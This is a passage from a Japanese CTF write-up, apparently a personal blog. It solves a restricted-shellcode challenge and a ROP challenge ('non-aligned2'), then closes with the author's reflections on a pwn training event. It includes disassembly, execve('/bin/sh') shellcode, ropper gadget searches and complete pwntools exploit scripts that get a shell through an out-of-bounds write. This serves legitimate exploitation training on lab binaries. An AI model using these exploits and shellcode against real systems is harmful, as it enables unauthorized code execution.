   0x000055a9f23982af <+126>:   mov    eax,0x0
   0x000055a9f23982b4 <+131>:   call   0x55a9f2398080 <dprintf@plt>
   0x000055a9f23982b9 <+136>:   mov    eax,0xffffffff
   0x000055a9f23982be <+141>:   jmp    0x55a9f23982e4 <main+179>
   0x000055a9f23982c0 <+143>:   lea    rax,[rip+0xd79]        # 0x55a9f2399040
   0x000055a9f23982c7 <+150>:   mov    rsi,rax
   0x000055a9f23982ca <+153>:   mov    edi,0x1
   0x000055a9f23982cf <+158>:   mov    eax,0x0
   0x000055a9f23982d4 <+163>:   call   0x55a9f2398080 <dprintf@plt>
   0x000055a9f23982d9 <+168>:   lea    rax,[rbp-0xe]
=> 0x000055a9f23982dd <+172>:   call   rax
   0x000055a9f23982df <+174>:   mov    eax,0x0
   0x000055a9f23982e4 <+179>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x000055a9f23982e8 <+183>:   sub    rdx,QWORD PTR fs:0x28
   0x000055a9f23982f1 <+192>:   je     0x55a9f23982f8 <main+199>
   0x000055a9f23982f3 <+194>:   call   0x55a9f2398070 <__stack_chk_fail@plt>
   0x000055a9f23982f8 <+199>:   leave
   0x000055a9f23982f9 <+200>:   ret
これらを踏まえながらレジスタを見てみると、まずraxレジスタにはbufへのアドレスが格納されていることが分かります。また、rbxレジスタにはargv[0]を指すスタックのアドレスが格納されたアドレスが格納されています。rsiレジスタにはスタックの後方のアドレスが格納されていて、こちらはrwx権限です。どう繋げるかはさておき、readシステムコールを呼び出そうと思ったら、最低でも
- eaxを0にする
- ediを0にする
- edxにそれなりの数を代入する
の3つを行ってからsyscallを呼ばなくてはいけません。syscallで2バイト必要なので正直これは厳しそうです。
stagerをmain関数で呼んでいるread関数を用いて作成
続いて、main関数で呼んでいるread関数を用いてstagerができないか試してみました。該当箇所のアセンブリを見てみると
   0x000056157e38b272 <+65>:    lea    rax,[rbp-0xe]
   0x000056157e38b276 <+69>:    mov    edx,0x6
   0x000056157e38b27b <+74>:    mov    rsi,rax
   0x000056157e38b27e <+77>:    mov    edi,0x0
   0x000056157e38b283 <+82>:    call   0x56157e38b090 <read@plt>
とあり、main+69のところで固定サイズを設定しているため、edxにサイズを設定した上で、main+74の位置に飛べれば良さそうに見えます。ただこれを一回でやるにはバイト数が足らないので、まずはmain関数近辺のアドレスを少ないバイト数で保持する方法を考えます。main関数近辺のアドレスに関しては、関数ポインタ呼び出しでcall raxを実行する時リターンアドレスがスタック上に格納されるのでこれをpopすればよいでしょう。問題はどのレジスタに保持するのかですが、まず、r8,r9などのレジスタは使われていなそうですが、popするのに2バイト消費するため、他に使われていなそうなレジスタを探してみるとrcxレジスタとrbxレジスタが見つかります。このうち、後者であれば更新されないことが分かったため、rbxレジスタを保存用として扱います。
次に、もう一度入力したいため、main関数に飛ぶ必要があります。何かいいものがないかスタック上を確認してみると、
$rsp  0x7ffda50d4f40|+0x0000|+000: 0x0000000000000000
      0x7ffda50d4f48|+0x0008|+001: 0x00000004bcf5eaf0
      0x7ffda50d4f50|+0x0010|+002: 0x00002855ff5b5040
      0x7ffda50d4f58|+0x0018|+003: 0x824e87d2e5e6c400  <-  canary
$rbp  0x7ffda50d4f60|+0x0020|+004: 0x00007ffda50d5000  ->  0x00007ffda50d5060  ->  0x0000000000000000
      0x7ffda50d4f68|+0x0028|+005: 0x00007f8bbcc2a1ca <__libc_start_call_main+0x7a>  ->  0xe80001d9cfe8c789  <-  retaddr[1]
      0x7ffda50d4f70|+0x0030|+006: 0x00007ffda50d4fb0  ->  0x000056157e38ddb0 <__do_global_dtors_aux_fini_array_entry>  ->  0x000056157e38b140 <__do_global_dtors_aux>  ->  ...
      0x7ffda50d4f78|+0x0038|+007: 0x00007ffda50d5088  ->  0x00007ffda50d6485  ->  0x616b2f656d6f682f 'tin[...]'  <-  $rbx
      0x7ffda50d4f80|+0x0040|+008: 0x000000017e38a040
      0x7ffda50d4f88|+0x0048|+009: 0x000056157e38b231 <main>  ->  0xe5894855fa1e0ff3
rbp+0x28の位置にmain関数のアドレスが格納されていることが分かりました。よって、まず最初は以下のようなシェルコードを作成しました。
0:  5b                      pop    rbx
1:  ff 55 28                call   QWORD PTR [rbp+0x28]
これで、rbxレジスタにはmain+174のアドレスが格納されたので、2週目では、rbxがmain+74に向くようにして、更にedxレジスタの値を調整するシェルコードを作成します。
b3 7b                   mov    bl,0x7b
b2 ff                   mov    dl,0xff
ff d3                   call   rbx
注意点として、call rbxかjmp rbxかでスタックのアライメントが変わるため、アライメントの状況に応じて使い分ける必要があります。今回であれば、1回目、2回目共にcallにすることで突破することが出来ました。
これで、read(0,buf,0xff)を呼ぶことができたので、後は禁止文字に気を付けながら通常のシェルコードを呼べばよいです。せっかくなので、tiny-executeの時に考えた後から2倍にして禁止文字を回避するシェルコードを使用しました。
0:  48 31 d2                xor    rdx,rdx
3:  48 31 f6                xor    rsi,rsi
6:  56                      push   rsi
7:  48 bb 17 b1 34 b7 97    movabs rbx,0x34399797b734b117
e:  97 39 34
11: 48 d1 e3                shl    rbx,1
14: 48 ff c3                inc    rbx
17: 53                      push   rbx
18: 54                      push   rsp
19: 5f                      pop    rdi
1a: 6a 3b                   push   0x3b
1c: 58                      pop    rax
1d: 0f 05                   syscall
解答
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
    libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
    libc = ELF(args.LIBC)
else:
    libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
    str(y).encode() if isinstance(y, (int, float)) else
    y.encode() if isinstance(y, str) else
    y if isinstance(y, bytes) else
    (_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}"))  # raise TypeError
    for y in x
)
rc  = lambda *x, **y: p.recv(*conv(*x), **y)
ru  = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn  = lambda *x, **y: p.send(*conv(*x), **y)
sl  = lambda *x, **y: p.sendline(*conv(*x), **y)
sa  = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
    # アーキテクチャの指定(何も指定しなければx64)
    if args.X32:
        context.arch = "i386"
        log.info("set i386")
    else:
        context.arch = "amd64"
        log.info("set amd64")
    # tmuxを使用する場合はTMUXを指定
    if args.TMUX:
        context.terminal  = ['tmux', 'split-window', '-h']
    # 実行方法の指定
    if args.REMOTE:
        # REMOTE=host:portの形で指定
        (host, port) = args.REMOTE.split(':')
        return connect(host, port)
    elif args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *main+172
continue
'''.format(**locals())
def padu64(b):
    while len(b) < 8:
        b = b + b"\x00"
    return u64(b)
def show_addr(addr,name="libc_base"):
    print("------------------------------")
    log.info(f"{name} = {addr:#018x}")
    print("------------------------------")
p = start()
ru("Input shellcode > ")
sn(b"\x5B\xFF\x55\x28")
sn(b"\xB3\x7B\xB2\xFF\xFF\xD3")
sn(b"\x48\x31\xD2\x48\x31\xF6\x56\x48\xBB\x17\xB1\x34\xB7\x97\x97\x39\x34\x48\xD1\xE3\x48\xFF\xC3\x53\x54\x5F\x6A\x3B\x58\x0F\x05")
p.interactive()
別解
rbxレジスタにリターンアドレスを格納していましたが、rdxレジスタを用いてmain+74へのアドレスを作り、そのままそこへ飛ぶと、main+74へのアドレスがread関数のサイズとして扱われてほぼ無制限に入力することができるようになります。こちらの方法なら1周早く解くことができます。
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
    libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
    libc = ELF(args.LIBC)
else:
    libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
    str(y).encode() if isinstance(y, (int, float)) else
    y.encode() if isinstance(y, str) else
    y if isinstance(y, bytes) else
    (_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}"))  # raise TypeError
    for y in x
)
rc  = lambda *x, **y: p.recv(*conv(*x), **y)
ru  = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn  = lambda *x, **y: p.send(*conv(*x), **y)
sl  = lambda *x, **y: p.sendline(*conv(*x), **y)
sa  = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
    # アーキテクチャの指定(何も指定しなければx64)
    if args.X32:
        context.arch = "i386"
        log.info("set i386")
    else:
        context.arch = "amd64"
        log.info("set amd64")
    # tmuxを使用する場合はTMUXを指定
    if args.TMUX:
        context.terminal  = ['tmux', 'split-window', '-h']
    # 実行方法の指定
    if args.REMOTE:
        # REMOTE=host:portの形で指定
        (host, port) = args.REMOTE.split(':')
        return connect(host, port)
    elif args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *main+172
continue
'''.format(**locals())
def padu64(b):
    while len(b) < 8:
        b = b + b"\x00"
    return u64(b)
def show_addr(addr,name="libc_base"):
    print("------------------------------")
    log.info(f"{name} = {addr:#018x}")
    print("------------------------------")
p = start()
ru("Input shellcode > ")
sn(b"\x5A\xB2\x7B\xFF\xE2")
sn(b"\x48\x31\xD2\x48\x31\xF6\x56\x48\xBB\x17\xB1\x34\xB7\x97\x97\x39\x34\x48\xD1\xE3\x48\xFF\xC3\x53\x54\x5F\x6A\x3B\x58\x0F\x05")
# 0:  5a                      pop    rdx
# 1:  b2 7b                   mov    dl,0x7b
# 3:  ff e2                   jmp    rdx
p.interactive()
non-aligned2(Hard)
概要
source code(non-alignedと同じ)
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
struct entry {
    uint32_t reserved;
    uint64_t hash;
} __attribute__((__packed__));
uint64_t calc_hash(char *buf, size_t len) {
    uint64_t result = 0;
    for (size_t i = 0; i < len; i++) {
        result = result * 127 + buf[i];
    }
    return result;
}
size_t readline(char *buf, size_t size) {
    char ch;
    size_t i;
    for (i = 0; i < size; i++) {
        if (read(0, &ch, 1) == 0) {
            break;
        }
        if (ch == '\n') break;
        buf[i] = ch;
    }
    return i;
}
void chal() {
    int idx;
    struct entry entries[10];
    char buf[128];
    memset(entries, 0, sizeof(entries));
    while (1) {
        memset(buf, 0, sizeof(buf));
        printf("1. New hash\n2. Show hash\n> ");
        int menu = 0;
        scanf("%d", &menu);
        switch (menu) {
            case 1:
                printf("Index: ");
                scanf("%d%*c", &idx);
                printf("Input> ");
                size_t s = readline(buf, 100);
                entries[idx].hash = calc_hash(buf, s);
                break;
            case 2:
                printf("Index: ");
                scanf("%d%*c", &idx);
                printf("Hash: 0x%llx\n", entries[idx].hash);
                break;
            default:
                printf("bye.\n");
                return;
        }
    }
}
int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    chal();
    return 0;
}
security
RELRO           STACK CANARY      NX            PIE
Partial RELRO   Canary found      NX enabled    PIE enabled
non-alignedとの変更点はNX bitが有効になってスタック領域上で命令を実行することができなくなった点です。つまりROPを駆使してシェルを奪うことになります。こちらの問題は、方針が分かっても良いgadgetが見つからず、公式writeupの内容を確認しながら進めました。
gadget探し
まず最初の流れはnon-alignedと同じで、elfのアドレスをリークします。また今回はROPを行うため、libcのアドレスもリークします。これについてはelfの時と同様なので省略します。
libcもリークできているので、後はrdiレジスタに/bin/sh\0が格納されているアドレスを代入してsystem("/bin/sh\0")を呼ぶだけなのですが、ここからが大変でした。まず、non-alignedの時とソースコードは同じなのでおさらいするとentry構造体型の配列entriesに範囲外参照の脆弱性が存在し、entries[n].hashを介してある程度は自由な場所に読み書きできるという状況でした。しかし、entries[n].reservedのエリアには基本的にアクセスできません。entries[n].hashをffで表すと以下のような配置になっています。
ptr +  0x0 | 00000000 ffffffff
ptr +  0x8 | ffffffff 00000001
ptr + 0x10 | ffffffff ffffffff
ptr + 0x18 | 00000002 ffffffff
ptr + 0x20 | ffffffff 00000003
ptr + 0x28 | ffffffff ffffffff
ptr + 0x30 | 00000004 ffffffff
ptr + 0x38 | ffffffff 00000005
ptr + 0x40 | ffffffff ffffffff
ここで、rdiレジスタに何か値を設定しようとすると、
ptr +  0x0 | 00000000 ffffffff
ptr +  0x8 | ffffffff 00000001
ptr + 0x10 | ffffffff ffffffff
ptr + 0x18 | 00000002 ffffffff
ptr + 0x20 | ffffffff 00000003
ptr + 0x28 | dddddddd dddddddd
ptr + 0x30 | 00000004 ffffffff
ptr + 0x38 | ffffffff 00000005
ptr + 0x40 | ffffffff ffffffff
例えば、ptr + 0x28のところに値を設定したら、それをpopするには、ptr + 0x10のところにpop命令を書くのですが、最低でも3回popしないとレジスタに格納することはできません。更に、3回だけだと、ptr + 0x30の位置がリターンアドレスとなってしまいますが、ptr + 0x30~ptr + 0x33の位置は書き換えることができず、何が入っているか分からないためおそらくここで終わってしまいます。というわけで、続けるためには更にもう2回popをして、計5回popをするgadgetを見つける必要があり、また、そのgadgetの3回目のpopでようやく1つの目的の値を取得できるという流れになっています。試しに探してみると
└─$ ropper -f libc.so.6 --search "pop ???; pop ???; pop ???; pop ???; pop ???; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ???; pop ???; pop ???; pop ???; pop ???; ret
[INFO] File: libc.so.6
0x000000000017a236: pop r12; pop r13; pop r14; pop r15; pop rbp; ret; 
0x00000000000a7127: pop rax; pop rbx; pop r12; pop r13; pop rbp; ret; 
0x000000000010f753: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000002b465: pop rbx; pop r12; pop r13; pop r14; pop rbp; ret; 
0x00000000000916bc: pop rbx; pop r12; pop r13; pop r15; pop rbp; ret; 
0x00000000000aff79: pop rbx; pop r12; pop r14; pop r15; pop rbp; ret; 
0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret; 
0x000000000002a86d: pop rsp; pop r13; pop r14; pop r15; pop rbp; ret;
8種類のgadgetが見つかります。このうち、正常な値を取得できるのは3回目のpopだけなので、設定できるレジスタはr12,r13,r14レジスタのいずれかということになります。続いて、これらのレジスタを経由してrdiレジスタに値を入れるgadgetがないか探してみました。使えそうなgadgetとしては
0x00000000000af8b8: mov rdi, r12; call rax; 
0x00000000000a8247: mov rdi, r12; call rbx; 
0x0000000000171bcb: mov rdi, r12; call rcx; 
0x00000000000497be: mov rdi, r13; call rax; 
0x0000000000064785: mov rdi, r13; call rbx; 
0x000000000002bed4: mov rdi, r14; call rax; 
0x0000000000151a0f: mov rdi, r14; call rbx; 
0x000000000016d4ab: mov rdi, r14; call rcx; 
が挙げられますが、いずれも最後にcall命令で何かしらを呼んでしまいます。どうせsystem関数を呼ぶので、raxかrbxかrcxレジスタにsystem関数のアドレスを代入する方法を考えます。しかし、配置的にpop5連続相当のgadgetでないと値を設定することができず、3回目のpopでraxかrbxかrcxレジスタに代入するgadgetは見当たらないため、ここで詰まりました。自分が考えていた方法として、場所によっては末尾4バイトが書き換えられるため、そこにlibcのアドレスがうまく配置されていれば、別のgadgetに向けることはできますが、今回はそのような場所にlibcのアドレスは配置されていませんでした。
ここで公式のwriteupを確認してみると、pop5連続のgadgetでなくてもそれ相応の動作をしてくれるgadgetがありました。それがadd rsp, ???系の命令を含むgadgetです。
└─$ ropper -f libc.so.6 --search "add rsp, 0x10"                                   
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add rsp, 0x10
[INFO] File: libc.so.6
0x0000000000183924: add rsp, 0x10; mov eax, ebx; pop rbx; pop r12; pop rbp; ret; 
0x00000000001396f3: add rsp, 0x10; mov eax, edx; pop rbx; pop r12; pop rbp; ret; 
0x000000000016c796: add rsp, 0x10; mov eax, r12d; pop rbx; pop r12; pop rbp; ret; 
0x0000000000086837: add rsp, 0x10; mov rax, 0xffffffffffffffff; pop rbx; pop r12; pop rbp; ret; 
0x000000000004a1d7: add rsp, 0x10; mov rax, rbx; pop rbx; pop r12; pop rbp; ret; 
0x0000000000044d31: add rsp, 0x10; pop rbx; pop r12; pop rbp; ret; 
0x00000000000586e0: add rsp, 0x10; pop rbx; ret; 
0x000000000011ad65: add rsp, 0x1010; pop rbx; pop r12; pop rbp; ret; 
この中で、0x0000000000044d31: add rsp, 0x10; pop rbx; pop r12; pop rbp; ret; であれば、pop5連続相当のことを実施しながら、rbxレジスタに値を設定することができます。あとはこれらのROPを配置するだけです。
解答
ans.py
from pwn import *
#context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
    libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
    libc = ELF(args.LIBC)
else:
    libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
    str(y).encode() if isinstance(y, (int, float)) else
    y.encode() if isinstance(y, str) else
    y if isinstance(y, bytes) else
    (_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}"))  # raise TypeError
    for y in x
)
rc  = lambda *x, **y: p.recv(*conv(*x), **y)
ru  = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn  = lambda *x, **y: p.send(*conv(*x), **y)
sl  = lambda *x, **y: p.sendline(*conv(*x), **y)
sa  = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
    # アーキテクチャの指定(何も指定しなければx64)
    if args.X32:
        context.arch = "i386"
        log.info("set i386")
    else:
        context.arch = "amd64"
        log.info("set amd64")
    # tmuxを使用する場合はTMUXを指定
    if args.TMUX:
        context.terminal  = ['tmux', 'split-window', '-h']
    # 実行方法の指定
    if args.REMOTE:
        # REMOTE=host:portの形で指定
        (host, port) = args.REMOTE.split(':')
        return connect(host, port)
    elif args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *chal+322
b *chal+416
b *chal+492
continue
'''.format(**locals())
def padu64(b):
    while len(b) < 8:
        b = b + b"\x00"
    return u64(b)
def show_addr(addr,name="libc_base"):
    print("------------------------------")
    log.info(f"{name} = {addr:#018x}")
    print("------------------------------")
def menu(num):
    ru("1. New hash\n2. Show hash\n> ")
    sl(num)
def add(index,data="hoge"):
    menu(1)
    ru("Index: ")
    sl(index)
    ru("Input> ")
    sl(data)
def show(index):
    menu(2)
    ru("Index: ")
    sl(index)
    ru("Hash: ")
    return int(rl().rstrip(),16)
def invert_hash(result):
    """
    calc_hash で得られた result から buf の候補を復元する。
    buf[i] は 0〜255 の範囲に制限される。
    """
    buf = []
    while result > 0:
        # 下位の文字(最後に足された値)は result % 127
        c = result % 127
        if c > 255:
            raise ValueError("復元不可能な値です")
        buf.append(c)
        result //= 127
    # 逆順に並べ替えてバイト列を得る
    buf.reverse()
    return bytes(buf)
p = start()
# for i in range(50):
#     print("i = " + str(i))
#     print(hex(show(i)))
# phase1 leak libc and elf
libc.address = show(39) - 0x8b - libc.symbols["__libc_start_main_impl"]
show_addr(libc.address)
addr_system = libc.symbols["system"]
addr_bin_sh = next(libc.search(b"/bin/sh\0"))
rop_pop5_rbx = libc.address + 0x0000000000044d31 # add rsp, 0x10; pop rbx; pop r12; pop rbp; ret; 
rop_pop5_r14 = libc.address + 0x000000000002a86c # pop r12; pop r13; pop r14; pop r15; pop rbp; ret;
rop_pop2 = libc.address + 0x00000000000584d7 # pop r12; pop r13; ret;
rop_mov_rdi_call_rbx = libc.address + 0x0000000000151a0f # mov rdi, r14; call rbx;
elf.address = show(47) - 0x25 - 0x10a0
show_addr(elf.address,"elf_base")
rop_ret = elf.address + 0x000000000000101a
# phase2 return addr → ret
add(24,invert_hash((rop_ret & 0xffffffff) << 32))
# phase3 build ROP and call system
add(25,invert_hash(rop_pop5_r14))
add(27,invert_hash(addr_bin_sh))
add(29,invert_hash(rop_pop5_rbx))
add(31,invert_hash(addr_system))
add(33,invert_hash(rop_pop2))
add(35,invert_hash(rop_mov_rdi_call_rbx))
menu(3)
p.interactive()
感想
CTFの問題を当日解いた問題含め一通りゆっくり解いてみましたが、講義資料の内容+αの知識で解ける内容になっていてすごいなと感じつつ、これを4時間以内で解くにはまだまだ実力不足だなと痛感しました。特に文字数制限の厳しかったり、禁止文字があったりするシェルコード問に関しては、自分でバイト数を気にしながら命令を考える必要があり、慣れていないとこれだけで終わってしまうため非常に良い勉強になりました。また、Easyのcan-you-get-a-shellに関しては、rdiレジスタに設定しないとlibcリークできないと勝手に思い込んでいたことで時間を無駄に浪費してしまったため、柔軟な思考を持ちたいなと思いました。
総評です。自分がpwnの勉強を始めたのは約1年半前で、そのときは独学で進めていたため、どのようなルートで勉強していけばよいのか分からず、とにかくひたすら問題を解いて勉強していましたが非常に非効率でした。しかし、今回のイベントでは、たったの2日間でスタックベースの基本的な攻撃手法を抑えることができ、また詳細に書かれている講義資料と安心最強の講師陣がサポートしてくれます。間違いなくコスパ最強だと思います。これが無料なのは正直バグです(それくらい熱がこもっていました)。どのような形式なのかは分からないですが、第2弾もあるかもしれないということなので、もしも「Binary Exploitation」に少しでも興味を持っている方がいて参加を迷っている方がいましたら、全力で参加することをお勧めします。
- 
SECCONの運営の方も作成してくださっていますからね! ↩ 

